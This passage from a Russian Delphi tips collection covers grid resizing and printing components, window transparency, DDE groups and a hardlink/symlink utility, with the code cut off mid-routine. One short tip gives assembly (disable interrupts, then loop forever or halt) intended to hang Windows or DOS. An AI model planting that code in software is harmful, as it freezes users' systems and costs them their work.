Осталось совсем простая задача: правильно отреагировать на отжатие клавиши мыши; для этого вполне походит событие OnMouseUp. В обработчике этого события нам надо так изменить ширину смежной колонки, чтобы FResizeSum (сумма растянутой и смежной колонок) осталось прежней. Добавим к этому возможность отменить действия пользователя, и в результате получим вот такой код:
procedure TGridForm.MyGridMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
NewWidth: Integer;
begin
// Если мы перетаскиваем какую-нибудь колонку, то...
if FResizeColumn >= 0 then
with Sender as TStringGrid do
begin
// Если это не последняя колонка, то
if FResizeColumn < ColCount - 1 then
begin
// Смотрим, какой размер должен быть у смежной колонки
NewWidth := FResizeSum - ColWidths[FResizeColumn];
// Если отрицательный
if NewWidth <= 0 then // то отменяем действие пользователя
ColWidths[FResizeColumn] := FOriginSize
// иначе, модифицируем ширину смежной колонки
else
ColWidths[FResizeColumn + 1] := NewWidth;
end;
// На всякий случай выравниваем ширину последней колонки
ResizeCustomGrid(Sender as TStringGrid);
end;
// Сбрасываем флаг перетаскиваемой колонки
FResizeColumn := -1;
end;
|
Вот мы и получили хорошую сетку! Разумеется, если мы предполагаем пользоваться такой сеткой во многих проектах; то имеет смысл сделать собственный компонент, применив продемонстрированную выше технику.
Компоненты для печати TStringGrid и TDBGrid.
Оформил: DeeCo
Автор: Жабасов Константин.
Часто бывает нужно быстро и без проблем вывести на печать StringGrid и DBGrid. Просто грид, без всяких наворотов. Представленные в этом обзоре компоненты очень простые, но полезные. Надеюсь кому-то помогут. Печать организована через использование QuickReport.
Freeware component TPrintStringGrid.
Вкладка Samples PrnStringGrid.zip (4.5 K)
Параметры:
StringGrid - настраивается на определенный StringGrid. AFont - шрифт клеток которые не fixed. FixedColor - цвет фона у fixed клеток. LightCols и LightRows - это простые StringList'ы, в которых указываются номера столбцов (строк) которые должны быть подсвечены (цвет фона - FixedColor). Это бывает полезно в некоторых случаях. PrintStyle - имеет значения psPreview и psPrint, которые говорят сами за себя. Чтобы запустить печать (предв. Просмотр) вызывается метод Execute. Title - строка заголовка. TitleDate - отображать или нет дату в шапке отчета. TitleFont - шрифт заголовка. TitleLeft - отступ слева строки заголовка. TitleNumPage - отображать или нет номер страницы в шапке (там же где и строка Title) отчета.

Freeware component TPrintDBGrid:
Вкладка DataControls PrnDBGrid.Zip (5.8 K)
Параметры:
Ну DetailFont, DetailHeight, HeaderFont, HeaderHeight думаю объяснять не нандо, они говорят сами за себя. Следует обратить внимание на свойства Result и ResultOnly.
Result это группировать ли записи или нет. Если группировать то отображаются
GrоuрFооtеr'ы (не знаю как назвать это по-русски) и на них отображаются количество
таких записей. Хочу отметить. что компонент сам не делает сортировку по полям и того подобные вещи,
таг что если нужно группировать по какому-либо столбцу, отсортируйте свой DataSet сами.
По каким столбцам группировать указывается в свойстве SetOfResultFields. По названию наверно догадались что это множество (set of). К сожалению, заполнение этого свойства делается только в RunTime. Не помню почему, наверное мне нужно было именно так.
Пример:
Имеем DBGrid:
PrintDBGrid1.SetOfResultFields:= [2];И получаем:

Вот, ну там еще можно поизвращатся, думаю то что я описал уже достаточно для того чтоб начать разбираться в этих нехитрых компонентах.
Для печати используется обычный QuickReport. Компоненты сами определяет какую страницу использовать книжную или альбомную. Все "Detail" клетки имеют RightAligment. Если это ненравится можно исправить в исходнике. Конечно компоненты неочень навороченные, просто я написал то что мне нужно было, вот и все. Надеюсь кому-то они помогут. Ну если понравится или не понравится, свои замечания и пожелания пишите мне на ящик (он указан в исходниках). УДАЧИ тебе ALL.С уважением, Жабасов Константин.
Смотрите также : Инструменты для печати TDBGrid Модуль для печати таблиц TStringGrid Процедура печати TStringList на принтерКак заставить GroupBox прорисовать на форме свой Caption неактивным цветом.
Автор: Гавриш ДмитрийКак заставить GroupBox1 прорисовать на форме свой Caption неактивным цветом? GroupBox1.Enabled:=FALSE не помогает. Хотя если то же самое проделать с Label1 или Edit1, то все получается.
GroupBox1.Font.color:=clInactiveCaption; |
GROUPFILE и ADDITEM для групп.
Вот код для создания файла группы и добавления в группу файла-элемента. Чтобы использовать эту процедуру, определите DDE clientconv App как ProgMan.
procedure TMainForm.CreateWinGroup(Sender: TObject);
var
Name: string;
Name1: string;
Macro: string;
Macro1: string;
Cmd, Cmd1: array[0..255] of Char;
begin
{destDir - dos-каталог, хранящий YourFile.Ext'}
Name := 'GroupName';
Name1 := destDir + 'YourFile.Ext, FileName_in_Group ';
Macro := Format('[CreateGroup(%s)]', [Name]) + #13#10;
Macro1 := Format('[Additem(%s)]', [Name1]) + #13#10;
StrPCopy(Cmd, Macro);
StrPCopy(cmd1, Macro1);
DDEClient.OpenLink;
if not DDEClient.ExecuteMacro(Cmd, False) then
MessageDlg('Невозможно создать группу ' + Name, mtInformation, [mbOK], 0)
else
begin
DDEClient.ExecuteMacro(Cmd1, False);
end;
DDEClient.CloseLink;
end;
|
Сгруппировать свойства наподобие Font.
...чтобы сгруппировать свойства наподобие Font, вам необходимо создать наследника (подкласс) TPersistent. Например:
TBoolList = class(TPersistent)
private
FValue1: Boolean;
FValue2: Boolean
published
property Value1: Boolean read FValue1 write FValue1;
property Value2: Boolean read FValue2 write FValue2;
end;
|
Затем, в вашем новом компоненте, для этого подкласса необходимо создать ivar. Чтобы все работало правильно, вам =необходимо= перекрыть конструктор.
TMyPanel = class(TCustomPanel)
private
FBoolList: TBoolList;
public
constructor Create( AOwner: TComponent ); override;
published
property BoolList: TBoolList read FBoolList write FBoolLisr;
end;
|
Затем добавьте следующий код в ваш конструктор:
constructor TMyPanel.Create( AOwner: TComponent ); begin inherited Create( AOwner ); FBoolList := TBoolList.Create; end; |
Автоматическая генерация GUID в редакторе кода.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
If you have Delphi 4 Professional or Client/Server or a newer Version, you can press the key combination Ctrl+Shift+G and Delphi will insert the unique GUID (Global Unique Identifier) into the code editor at the cursor location. This can be useful for COM programmers. Ab Delphi 4 Professional oder Client/Server kann man mittels Strg+Shift+G einen GUID (Global Unique Identifier) an der aktuellen Cursor Position еinfьgеn lassen. Dies kann vorallem fьг COM Programmierer nьtz1iсh sein. Example/ Beispiel: Press Ctrl+Shift+G und you''ll get something like that: Dгьске Strg+Shift+G und dann wird z.B ein solcher GUID еingеfьgt: ['{C84EB7F0-8AA8-11D6-BDA5-00409544305B}']GUI. Перегрузка контролами.
Навороченные формы с огромным количеством визуальных компонентов, помноженные на количество этих форм, могут вызвать ряд серьезных проблем при разработке и использовании программы. Приложение надолго подвисает при загрузке. Время уходит на инициализацию большого количества форм, стоящих в AutoCreate. Наблюдаются многочисленные глюки при прорисовке, сообщения системы об ошибках и перерасходе ресурсов без видимых причин, вплоть до убиения приложения системой или краха системы. Характерно для Windows линии 9X, у которых максимальное количество графических и оконных ресурсов (GDI и USER) сильно ограничено. Зачастую, чтобы не расставлять и настраивать множество однообразных контролов на форме вручную, программист пишет код для их программной инициализации и вставки, не учитывая при этом нюансы, о которых он не подозревал при визуальной разработке. В результате он может получить утечку памяти и прочих ресурсов, если форма создается/уничтожается динамически многократно в процессе работы. Пользователь теряется в перегруженном интерфейсе программы, будучи не в состоянии использовать все его возможности и затрудняясь в выполнении простых задач. ТИПОВЫЕ РЕШЕНИЯ. Уменьшить количество автоматически создаваемых форм. Создавать тяжелые формы в тот момент, когда они понадобятся, и уничтожать при закрытии. При этом нужно следить за своевременной очисткой и проверкой глобальных ссылок на формы. У динамически создаваемых компонентов устанавливать владельца и родителя. Подробности - в статье "Жизнь и смерть в режиме run-time". Большое количество форм не всегда оправдано. Если пользователь не получает дополнительных удобств от того, что может открыть много форм (часто он не может их увидеть одновременно или работает постоянно с одной), то это неверное архитектурное решение. Интерфейс MDI - хорошая концепция. Но всякое техническое решение имеет свою область применения. Это удобно, когда пользователю нужно работать с однотипными объектами в разных окнах и переходить от одного к другому, причем количество их заранее неизвестно, и допускается изменение размеров окна. Примеры - работа с документами (Word, Excel, etc.). Как правило, многочисленные элементы управления не нужны пользователю одновременно (вспомните о правиле 7±2 - именно таково среднее количество объектов, за которыми человек может следить одновременно, не напрягаясь). Их можно разделить на группы и расположить на страницах компонента TPageControl. Таким способом можно скрыть видимую сложность очень большого интерфейса по вводу и редактированию данных. Если группы компонентов однотипны (меняются только данные), то решение еще более упрощается, с одновременным снятием нагрузки на ресурсы системы. Компонент TTabControl, который внешне выглядит также, как и TPageControl, содержит только одну группу контролов, а программист по событию смены закладки OnChange имеет возможность сменить данные. Большое количество регулярно расположенных контролов TEdit, TLabel успешно заменяется на TStringGrid, специально для этого предназначенный. Кроме всего прочего, он имеет удобную прокрутку, размеры таблицы не будут ограничены размерами формы. В случае, если нужно много TComboBox, применяют следующую хитрость. Для визуализации используют TStringGrid, а для редактирования в текущую ячейку вставляют TComboBox, устанавливая ему размеры и координаты по ячейке и набивая его программно (если набор элементов меняется). Один и тот же экземпляр редактирующего контрола используется во всех ячейках, поскольку он не нужен одновременно везде. Эта же техника используется и в VCL для редактирования ячеек TStringGrid, TDBGrid. Есть масса компонентов типа TStringGrid сторонних разработчиков, которые расширяют возможности стандартного. DB-aware визуальные компоненты - такие как TDBGrid - способны обрабатывать огромный объем данных, не требуя при этом пропорциональное количество ресурсов GDI/USER. В конце концов, если не хочется связываться с СУБД, можно загнать информацию в TClientDataSet и кормить из него DB-aware controls на форме. Одновременно получаешь все прелести сортировки и фильтрации данных. В случае сложного набора контролов для каждой записи, при необходимости видеть несколько таких групп одновременно, хорошо подходит компонент TDBCtrlGrid. Следует стремиться уменьшить количество компонентов - потомков TWinControl (например - TButton), заменяя их на потомки TGraphicControl (пример - TSpeedButton). Последние не используют объекты USER, поскольку не являются окнами в понятиях Windows. Рекомендуется разрабатывать и эксплуатировать ресурсоемкие приложения в среде Windows NT и ее наследников (2000, XP). Ресурсы:GridComb.zip - пример манипулирования ComboBox на StringGrid (выловлено в FIDO в незапамятные времена). Torry's Delphi pages - сюда ходят за компонентами.
Наполовину активное окно.
Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить в false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными! Но был найден способ избежать этого!
private
{ Private declarations }
procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
if M.Result = htClient then
M.Result := htCaption;
end;
|
Полупрозрачная форма в Win2000.
Обнаружил в Windows 2000 полноценную реализацию полупрозрачности:
| - Вы замечали, как быстро работает Windows2000? Я тоже нет... |
const
WS_EX_LAYERED = $80000;
LWA_COLORKEY = 1;
LWA_ALPHA = 2;
function SetLayeredWindowAttributes(
hwnd : HWND; // handle to the layered window
crKey : TColor; // specifies the color key
bAlpha : byte; // value for the blend function
dwFlags : DWORD // action
): BOOL; stdcall;
function SetLayeredWindowAttributes; external 'user32.dll';
procedure TForm1.FormCreate(Sender: TObject);
begin
if SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE)
or WS_EX_LAYERED) = 0 then
ShowMessage(SysErrorMessage(GetLastError));
if not SetLayeredWindowAttributes(Handle, 0, 128, LWA_ALPHA) then
// ^^^ степень прозрачности
// 0 - полная прозрачность
// 255 - полная непрозрачность
ShowMessage(SysErrorMessage(GetLastError));
end;
|
Есть более продвинутые возможности (например, альфа-канал в битмапе) http://msdn.microsoft.com/isapi/msdnlib.idc?theURL=/library/techart/layerwin.htm
unit TransparentWnd;
interface
uses
Windows, Messages, Classes, Controls, Forms;
type
_Percentage = 0..100;
TTransparentWnd = class(TComponent)
private
{ Private declarations }
protected
{ Protected declarations }
_percent: _Percentage;
_auto: boolean;
User32: HMODULE;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
//These work on a Handle
//It doesn't change the Percent Property Value!
procedure SetTransparentHWND(hwnd: THandle; percent : _Percentage);
//These work on the Owner (a TWinControl decendant is the Minumum)
//They don't change the Percent Property Value!
procedure SetTransparent; overload;
procedure SetTransparent(percent : _Percentage); overload;
procedure SetOpaqueHWND(hwnd : THandle);
procedure SetOpaque;
published
{ Published declarations }
//This works on the Owner (a TWinControl decendant is the Minumum)
property Percent: _Percentage read _percent write _percent default 0;
property AutoOpaque: boolean read _auto write _auto default false;
end;
procedure register;
implementation
const LWA_ALPHA = $2;
const GWL_EXSTYLE = (-20);
const WS_EX_LAYERED = $80000;
const WS_EX_TRANSPARENT = $20;
var
SetLayeredWindowAttributes: function (hwnd: LongInt; crKey: byte;
bAlpha: byte; dwFlags: LongInt): LongInt; stdcall;
constructor TTransparentWnd.Create(AOwner: TComponent);
begin
inherited;
User32 := LoadLibrary('USER32.DLL');
if User32 <> 0 then
@SetLayeredWindowAttributes := GetProcAddress(User32, 'SetLayeredWindowAttributes')
else
SetLayeredWindowAttributes := nil;
end;
destructor TTransparentWnd.Destroy;
begin
if User32 <> 0 then
FreeLibrary(User32);
inherited;
end;
procedure TTransparentWnd.SetOpaqueHWND(hwnd: THandle);
var
old: THandle;
begin
if IsWindow(hwnd) then
begin
old := GetWindowLongA(hwnd,GWL_EXSTYLE);
SetWindowLongA(hwnd, GWL_EXSTYLE, old and ((not 0)-WS_EX_LAYERED));
end;
end;
procedure TTransparentWnd.SetOpaque;
begin
Self.SetOpaqueHWND((Self.Owner as TWinControl).Handle);
end;
procedure TTransparentWnd.SetTransparent;
begin
Self.SetTransparentHWND((Self.Owner as TWinControl).Handle, Self._percent);
end;
procedure TTransparentWnd.SetTransparentHWND(hwnd: THandle; percent : _Percentage);
var
old: THandle;
begin
if (User32 <> 0) and (Assigned(SetLayeredWindowAttributes)) and (IsWindow(hwnd)) then
if (_auto=true) and (percent=0) then
SetOpaqueHWND(hwnd)
else
begin
percent := 100 - percent;
old := GetWindowLongA(hwnd, GWL_EXSTYLE);
SetWindowLongA(hwnd, GWL_EXSTYLE, old or WS_EX_LAYERED);
SetLayeredWindowAttributes(hwnd, 0, (255 * percent) div 100, LWA_ALPHA);
end;
end;
procedure TTransparentWnd.SetTransparent(percent: _Percentage);
begin
Self.SetTransparentHWND((Self.Owner as TForm).Handle, percent);
end;
procedure register;
begin
RegisterComponents('Win32', [TTransparentWnd]);
end;
end.
|
Это компонент, для Дельфи, инкапсулирующий нужные функции.
Полупрозрачное окно в Win2000.
| ОС или не ОС - вот в чем вопрос... |
SetWindowTransp(hndl: THandle; Perc: byte); |
Зависание Delphi 4(5).
| Автор: Сергей Сахаров |
| Помните: девушки как компьютер - вы их грузите, а они - виснут и виснут. |
Эта проблема устранена в Delphi 4sp3.
Как подвесить WIN или DOS.
Оформил: DeeCo
Автор: XZ.
Этот код можно использовать в языках высокого уровня (Delphi, C, ...), для этого воспользуйтесь правилами. Исходники примера можно взять здесь: Dos (Pascal 7.0), Win (Delphi 5).
WIN:
cli ;отключение внешних прерываний @A: ;метка jmp @A ;зацикливание
DOS:
cli ;отключение внешних прерываний hlt ;выход из программы
Создание hardlink и symbolic link.
Автор: Alex Konshin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Создание hardlink и symbolic link.
Исходный код утилиты, которая создает hard и symbolic links почти как в unix.
Hardlink можно создать только для файлов и только на NTFS.
Symbolic link можно создать только для директориев и только на NTFS5 (Win2K/XP)
и он не может указывать на сетевой ресурс.
Зависимости: Windows, SysUtils
Автор: Alex Konshin, akonshin@earthlink.net, Boston, USA
Copyright: http://home.earthlink.net/~akonshin/files/xlink.zip
Дата: 30 декабря 2002 г.
***************************************************** }
program xlink;
uses
Windows, SysUtils;
{$APPTYPE CONSOLE}
{$R xlink.res}
type
TOptions = set of (optSymbolicLink, optOverwrite, optRecursive, optDirectory);
int64rec = packed record
lo: LongWord;
hi: LongInt;
end;
const
FILE_DOES_NOT_EXIST = DWORD(-1);
//=============================================================
function isFileExists(const AFileName: string): Boolean;
var
h: THandle;
rFindData: TWin32FindData;
begin
h := Windows.FindFirstFile(PChar(AFileName), rFindData);
Result := h <> INVALID_HANDLE_VALUE;
if not Result then
Exit;
Windows.FindClose(h);
Result := (rFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0;
end;
//-------------------------------------------------------------
// warning: function assumes that it is correct directory name
function isDirectoryEmpty(const ADirectoryName: string): Boolean;
var
h: THandle;
len: Integer;
rFindData: TWin32FindData;
sSeachMask: string;
begin
len := Length(ADirectoryName);
if (PChar(ADirectoryName) + len - 1)^ = '\' then
sSeachMask := ADirectoryName + '*'
else
sSeachMask := ADirectoryName + '\*';
h := Windows.FindFirstFile(PChar(sSeachMask), rFindData);
Result := (h = INVALID_HANDLE_VALUE);
Windows.FindClose(h);
end;
//-------------------------------------------------------------
function SysErrorMessage(ErrorCode: Integer): string;
var
Len: Integer;
Buffer: array[0..255] of Char;
begin
Len := FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ARGUMENT_ARRAY,
nil, ErrorCode, 0, Buffer, SizeOf(Buffer), nil);
while (Len > 0) and (Buffer[Len - 1] in [#0..' ', '.']) do
Dec(Len);
SetString(Result, Buffer, Len);
end;
//-------------------------------------------------------------
procedure _CreateHardlink(AFileName: string; AFileWCName: PWideChar; ALinkName:
string; overwrite: Boolean);
var
aLinkWCFileName, aLinkFullName: array[0..MAX_PATH] of WChar;
pwFilePart: LPWSTR;
hFileSource: THandle;
rStreamId: WIN32_STREAM_ID;
cbPathLen, dwStreamHeaderSize, dwBytesWritten: DWORD;
lpContext: Pointer;
begin
StringToWidechar(ALinkName, aLinkWCFileName, MAX_PATH);
hFileSource :=
Windows.CreateFile(
PChar(AFileName),
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,
nil,
OPEN_EXISTING,
0,
0
);
if hFileSource = INVALID_HANDLE_VALUE then
raise Exception.Create('Can''t open file "' + AFileName + '"');
try
cbPathLen := Windows.GetFullPathNameW(aLinkWCFileName, MAX_PATH,
aLinkFullName, pwFilePart);
if cbPathLen <= 0 then
raise Exception.Create('Invalid link name "' + ALinkName + '"');
cbPathLen := (cbPathLen + 1) * SizeOf(WChar);
lpContext := nil;
rStreamId.dwStreamId := BACKUP_LINK;
rStreamId.dwStreamAttributes := 0;
rStreamId.dwStreamNameSize := 0;
int64rec(rStreamId.Size).hi := 0;
int64rec(rStreamId.Size).lo := cbPathLen;
dwStreamHeaderSize := PChar(@rStreamId.cStreamName) - PChar(@rStreamId)
+ LongInt(rStreamId.dwStreamNameSize);
if not BackupWrite(
hFileSource,
Pointer(@rStreamId), // buffer to write
dwStreamHeaderSize, // number of bytes to write
dwBytesWritten,
False, // don't abort yet
False, // don't process security
lpContext
) then
RaiseLastOSError;
if not BackupWrite(
hFileSource,
Pointer(@aLinkFullName), // buffer to write
cbPathLen, // number of bytes to write
dwBytesWritten,
False, // don't abort yet
False, // don't process security
lpContext
) then
RaiseLastOSError;
// free context
if not BackupWrite(
hFileSource,
nil, // buffer to write
0, // number of bytes to write
dwBytesWritten,
True, // abort
False, // don't process security
lpContext
) then
RaiseLastOSError;
finally
CloseHandle(hFileSource);
end;
end;
//-------------------------------------------------------------
// ADirName and ADirForLinks must not end with backslach
procedure _CreateHardlinksForSubDirectory(const ADirName, ADirForLinks: string;
options: TOptions);
var
h: THandle;
sExistedFile, sLinkName: string;
dwAttributes: DWORD;
rFindData: TWin32FindData;
awcFileName: array[0..MAX_PATH] of WChar;
begin
dwAttributes := GetFileAttributes(PChar(ADirForLinks));
if dwAttributes = FILE_DOES_NOT_EXIST then
begin
// WriteLn('Create Directory ',ADirForLinks);
if not CreateDir(ADirForLinks) then
raise Exception.Create('Can''t create directory "' + ADirForLinks + '".');
end
else if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
raise Exception.Create('File "' + ADirName
+ '" already exists and it is not a directory.');
h := Windows.FindFirstFile(PChar(ADirName + '\*'), rFindData);
if h = INVALID_HANDLE_VALUE then
Exit;
try
repeat
if (rFindData.cFileName[0] = '.') and
((rFindData.cFileName[1] = #0) or ((rFindData.cFileName[1] = '.') and
(rFindData.cFileName[2] = #0))) then
Continue;
sExistedFile := ADirName + '\' + rFindData.cFileName;
sLinkName := ADirForLinks + '\' + rFindData.cFileName;
if (rFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
awcFileName[
Windows.MultiByteToWideChar(0, 0, PChar(sExistedFile),
MAX_PATH, awcFileName, MAX_PATH)
] := #0;
_CreateHardlink(sExistedFile, awcFileName, sLinkName,
optOverwrite in options);
end
else if optRecursive in options then
begin
_CreateHardlinksForSubDirectory(sExistedFile, sLinkName, options);
end;
until not Windows.FindNextFile(h, rFindData);
finally
Windows.FindClose(h);
end;
end;
//-------------------------------------------------------------
procedure CreateHardlink(AFileName, ALinkName: string; options: TOptions);
var
dwAttributes: DWORD;
aFileSource: array[0..MAX_PATH] of WChar;
begin
dwAttributes := Windows.GetFileAttributes(PChar(AFileName));
if dwAttributes = FILE_DOES_NOT_EXIST then
raise Exception.Create('File "' + AFileName + '" does not exist.');
if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
raise Exception.Create('Can''t create hardlink for directory (file "'
+ AFileName + '").');
dwAttributes := Windows.GetFileAttributes(PChar(ALinkName));
if dwAttributes <> FILE_DOES_NOT_EXIST then
begin
if not (optOverwrite in options) then
raise Exception.Create('File "' + ALinkName + '" already exists.');
if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
raise Exception.Create('Can''t overwrite directory "' + AFileName + '".');
end;
StringToWidechar(AFileName, aFileSource, MAX_PATH);
_CreateHardlink(AFileName, aFileSource, ALinkName, optOverwrite in options);
end;
//-------------------------------------------------------------
procedure CreateHardlinksForDirectory(const ADirName, ADirForLinks: string;
options: TOptions);
var
dwAttributes: DWORD;
len: Integer;
sDirName, sDirForLinks: string;
begin
dwAttributes := Windows.GetFileAttributes(PChar(ADirName));
if dwAttributes = FILE_DOES_NOT_EXIST then
raise Exception.Create('Directory "' + ADirName + '" does not exist.');
if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
raise Exception.Create('File "' + ADirName + '" is not a directory.');
len := Length(ADirName);
if (PChar(ADirName) + len - 1)^ = '\' then
sDirName := Copy(ADirName, 1, len - 1)
else
sDirName := ADirName;
if (PChar(ADirForLinks) + Length(ADirForLinks) - 1)^ <> '\' then
sDirForLinks := ADirForLinks
else
sDirForLinks := Copy(ADirForLinks, 1, Length(ADirForLinks) - 1);
_CreateHardlinksForSubDirectory(sDirName, sDirForLinks, options);
end;
//-------------------------------------------------------------
procedure CreateHardlinksInDirectory(const AFileName, ADirForLinks: string;
options: TOptions);
var
dwAttributes: DWORD;
len: Integer;
sFileName, sDirForLinks, sLinkName: string;
aFileSource: array[0..MAX_PATH] of WChar;
begin
dwAttributes := Windows.GetFileAttributes(PChar(AFileName));
if dwAttributes = FILE_DOES_NOT_EXIST then
raise Exception.Create('File or directory "' + AFileName +
'" does not exist.');
if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
sLinkName := ADirForLinks + '\' + SysUtils.ExpandFileName(AFileName);
dwAttributes := Windows.GetFileAttributes(PChar(sLinkName));
if dwAttributes <> FILE_DOES_NOT_EXIST then
begin
if not (optOverwrite in options) then
raise Exception.Create('File "' + sLinkName + '" already exists.');
if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
raise Exception.Create('Can''t overwrite directory "' + AFileName +
'".');
end;
StringToWidechar(AFileName, aFileSource, MAX_PATH);
_CreateHardlink(AFileName, aFileSource, sLinkName,
optOverwrite in options);
end
else
begin
len := Length(AFileName);
if (PChar(AFileName) + len - 1)^ = '\' then
sFileName := Copy(AFileName, 1, len - 1)
else
sFileName := AFileName;
if (PChar(ADirForLinks) + Length(ADirForLinks) - 1)^ <> '\' then
sDirForLinks := ADirForLinks
else
sDirForLinks := Copy(ADirForLinks, 1, Length(ADirForLinks) - 1);
_CreateHardlinksForSubDirectory(sFileName, sDirForLinks, options);
end;
end;
//-------------------------------------------------------------
procedure DeleteDirectoryContent(const ADirName: string);
type
PDirRef = ^TDirRef;
PPDirRef = ^PDirRef;
TDirRef = record
Next: PDirRef;
DirName: string;
end;
var
h: THandle;
sFileName: string;
pSubDirs: PDirRef;
ppLast: PPDirRef;
pDir: PDirRef;
rFindData: TWin32FindData;
begin
pSubDirs := nil;
ppLast := @pSubDirs;
h := Windows.FindFirstFile(PChar(ADirName + '\*'), rFindData);
if h = INVALID_HANDLE_VALUE then
Exit;
try
try
repeat
if (rFindData.cFileName[0] = '.') and
((rFindData.cFileName[1] = #0) or ((rFindData.cFileName[1] = '.') and
(rFindData.cFileName[2] = #0))) then
Continue;
sFileName := ADirName + '\' + rFindData.cFileName;
if (rFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
begin
New(pDir);
with pDir^ do
begin
Next := nil;
DirName := sFileName;
end;
ppLast^ := pDir;
ppLast := @pDir^.Next;
end
else if not DeleteFile(sFileName) then
raise Exception.Create('Can''t delete file "' + sFileName + '".');
until not Windows.FindNextFile(h, rFindData);
finally
Windows.FindClose(h);
end;
if pSubDirs <> nil then
begin
repeat
pDir := pSubDirs;
pSubDirs := pDir^.Next;
sFileName := pDir^.DirName;
Dispose(pDir);
DeleteDirectoryContent(sFileName);
if not RemoveDir(sFileName) then
raise Exception.Create('Can''t delete directory "' + sFileName +
'".');
until pSubDirs = nil;
end;
except
while pSubDirs <> nil do
begin
pDir := pSubDirs;
pSubDirs := pDir^.Next;
Dispose(pDir);
end;
raise;
end;
end;
//-------------------------------------------------------------
const
FILE_DEVICE_FILE_SYSTEM = $0009;
// Define the method codes for how buffers are passed for I/O and FS controls
METHOD_BUFFERED = 0;
METHOD_IN_DIRECT = 1;
METHOD_OUT_DIRECT = 2;
METHOD_NEITHER = 3;
// Define the access check value for any access
FILE_ANY_ACCESS = 0;
FILE_READ_DATA = 1;
FILE_WRITE_DATA = 2;
FSCTL_SET_REPARSE_POINT = (FILE_DEVICE_FILE_SYSTEM shl 16) or
(FILE_ANY_ACCESS shl 14) or (41 shl 2) or (METHOD_BUFFERED);
FSCTL_GET_REPARSE_POINT = (FILE_DEVICE_FILE_SYSTEM shl 16) or
(FILE_ANY_ACCESS shl 14) or (42 shl 2) or (METHOD_BUFFERED);
FSCTL_DELETE_REPARSE_POINT = (FILE_DEVICE_FILE_SYSTEM shl 16) or
(FILE_ANY_ACCESS shl 14) or (43 shl 2) or (METHOD_BUFFERED);
FILE_FLAG_OPEN_REPARSE_POINT = $00200000;
FILE_ATTRIBUTE_REPARSE_POINT = $00000400;
IO_REPARSE_TAG_MOUNT_POINT = $A0000003;
REPARSE_MOUNTPOINT_HEADER_SIZE = 8;
type
REPARSE_MOUNTPOINT_DATA_BUFFER = packed record
ReparseTag: DWORD;
ReparseDataLength: DWORD;
Reserved: Word;
ReparseTargetLength: Word;
ReparseTargetMaximumLength: Word;
Reserved1: Word;
ReparseTarget: array[0..0] of WChar;
end;
TReparseMountpointDataBuffer = REPARSE_MOUNTPOINT_DATA_BUFFER;
PReparseMountpointDataBuffer = ^TReparseMountpointDataBuffer;
//-------------------------------------------------------------
function CreateSymlink(ATargetName, ALinkName: string; const options: TOptions):
Boolean;
const
pwcNativeFileNamePrefix: PWideChar = '\??\';
nNativeFileNamePrefixWCharLength = 4;
nNativeFileNamePrefixByteLength = nNativeFileNamePrefixWCharLength * 2;
var
hLink: THandle;
pReparseInfo: PReparseMountpointDataBuffer;
len, size: Integer;
pwcLinkFileName: PWideChar;
pwcTargetNativeFileName: PWideChar;
pwcTargetFileName: PWideChar;
pwc: PWideChar;
pc: PChar;
dwBytesReturned: DWORD;
dwAttributes: DWORD;
bDirectoryCreated: Boolean;
aTargetFullName: array[0..MAX_PATH] of Char;
begin
Result := False;
pReparseInfo := nil;
hLink := INVALID_HANDLE_VALUE;
bDirectoryCreated := False;
len := Length(ALinkName);
if ((PChar(ALinkName) + len - 1)^ = '\') and ((PChar(ALinkName) + len - 2)^ <>
':') then
begin
Dec(len);
SetLength(ALinkName, len);
end;
System.GetMem(pwcLinkFileName, len + len + 2);
try
pwcLinkFileName[
Windows.MultiByteToWideChar(0, 0, PChar(ALinkName), len, wcLinkFileName,
len)
] := #0;
dwAttributes := Windows.getFileAttributesW(pwcLinkFileName);
if dwAttributes <> FILE_DOES_NOT_EXIST then
begin
if not (optOverwrite in options) then
begin
if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
raise Exception.Create('The file "' + ALinkName + '" already exists');
if not isDirectoryEmpty(ALinkName) then
raise Exception.Create(
'The directory "' + ALinkName +
'" already exists and is not empty');
dwAttributes := FILE_DOES_NOT_EXIST;
end
else if ((dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0) then
begin
if not DeleteFile(ALinkName) then
raise Exception.Create('Can''t overwrite file "' + ALinkName + '"');
dwAttributes := FILE_DOES_NOT_EXIST;
end
else if (dwAttributes and FILE_ATTRIBUTE_REPARSE_POINT)
<> FILE_ATTRIBUTE_REPARSE_POINT then
if not isDirectoryEmpty(ALinkName) then
begin
if not (optDirectory in options) then
raise Exception.Create('Can''t overwrite non-empty directory "'
+ ALinkName + '"');
DeleteDirectoryContent(ALinkName);
end;
end;
if dwAttributes = FILE_DOES_NOT_EXIST then
begin
Windows.CreateDirectoryW(pwcLinkFileName, nil);
bDirectoryCreated := True;
end;
try
hLink := Windows.CreateFileW(pwcLinkFileName, GENERIC_WRITE, 0, nil,
OPEN_EXISTING,
